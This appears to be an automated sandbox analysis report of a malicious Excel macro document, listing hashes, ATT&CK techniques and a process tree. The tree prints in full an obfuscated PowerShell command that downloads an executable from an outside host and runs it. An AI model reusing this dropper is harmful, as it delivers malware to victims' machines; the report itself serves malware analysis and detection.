950550519929170253bdc7b3587976e73a274833656ed4af54322fe71cd12cd3

General

Target

950550519929170253bdc7b3587976e73a274833656ed4af54322fe71cd12cd3.xls
Size

47KB
MD5

386fe3c94ae489027d67e46c158e4cec
SHA1

b394b5d8b0ca29b7d9862d3a5daabb9e21630514
SHA256

950550519929170253bdc7b3587976e73a274833656ed4af54322fe71cd12cd3
SHA512

57ac2522dbc528fdb45df623aa37775494812c8563be7c2b6e883a4266fc17835f2425498288f4c7a5594c157013aeee7772bdb7e017f47295ae80c87236eae5
SSDEEP

768:cn8xEtjPOtioVjDGUU1qfDlaGGx+cL+LIfdAWkpGfyuexEFHD7bGlPkEXMJxF:c8xEtjPOtioVjDGUU1qfDlaGGx+cL+La

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1796	2364	cMd.exe	29

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2716	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cMd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2364	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2364	EXCEL.EXE
2364	EXCEL.EXE
2364	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 1796	2364	EXCEL.EXE	30
PID 2364 wrote to memory of 1796	2364	EXCEL.EXE	30
PID 2364 wrote to memory of 1796	2364	EXCEL.EXE	30
PID 2364 wrote to memory of 1796	2364	EXCEL.EXE	30
PID 1796 wrote to memory of 2716	1796	cMd.exe	32
PID 1796 wrote to memory of 2716	1796	cMd.exe	32
PID 1796 wrote to memory of 2716	1796	cMd.exe	32
PID 1796 wrote to memory of 2716	1796	cMd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\950550519929170253bdc7b3587976e73a274833656ed4af54322fe71cd12cd3.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\SysWOW64\cMd.exe
  cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='%ap';$uy='pdat';$ji='a%.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'https://fortuma.co/scu.exe'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='%ap';$uy='pdat';$ji='a%.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'https://fortuma.co/scu.exe'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2364-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2364-1-0x000000007293D000-0x0000000072948000-memory.dmp

Filesize
44KB

Download
memory/2364-159-0x0000000005DD0000-0x0000000005ED0000-memory.dmp

Filesize
1024KB

Download
memory/2364-160-0x0000000005DD0000-0x0000000005ED0000-memory.dmp

Filesize
1024KB

Download
memory/2364-158-0x0000000005DD0000-0x0000000005ED0000-memory.dmp

Filesize
1024KB

Download
memory/2364-161-0x0000000005DD0000-0x0000000005ED0000-memory.dmp

Filesize
1024KB

Download
memory/2364-86-0x0000000005DD0000-0x0000000005ED0000-memory.dmp

Filesize
1024KB

Download
memory/2364-157-0x0000000005DD0000-0x0000000005ED0000-memory.dmp

Filesize
1024KB

Download
memory/2364-165-0x0000000005DD0000-0x0000000005ED0000-memory.dmp

Filesize
1024KB

Download
memory/2364-164-0x000000007293D000-0x0000000072948000-memory.dmp

Filesize
44KB

Download
memory/2364-166-0x0000000005DD0000-0x0000000005ED0000-memory.dmp

Filesize
1024KB

Download

Analysis

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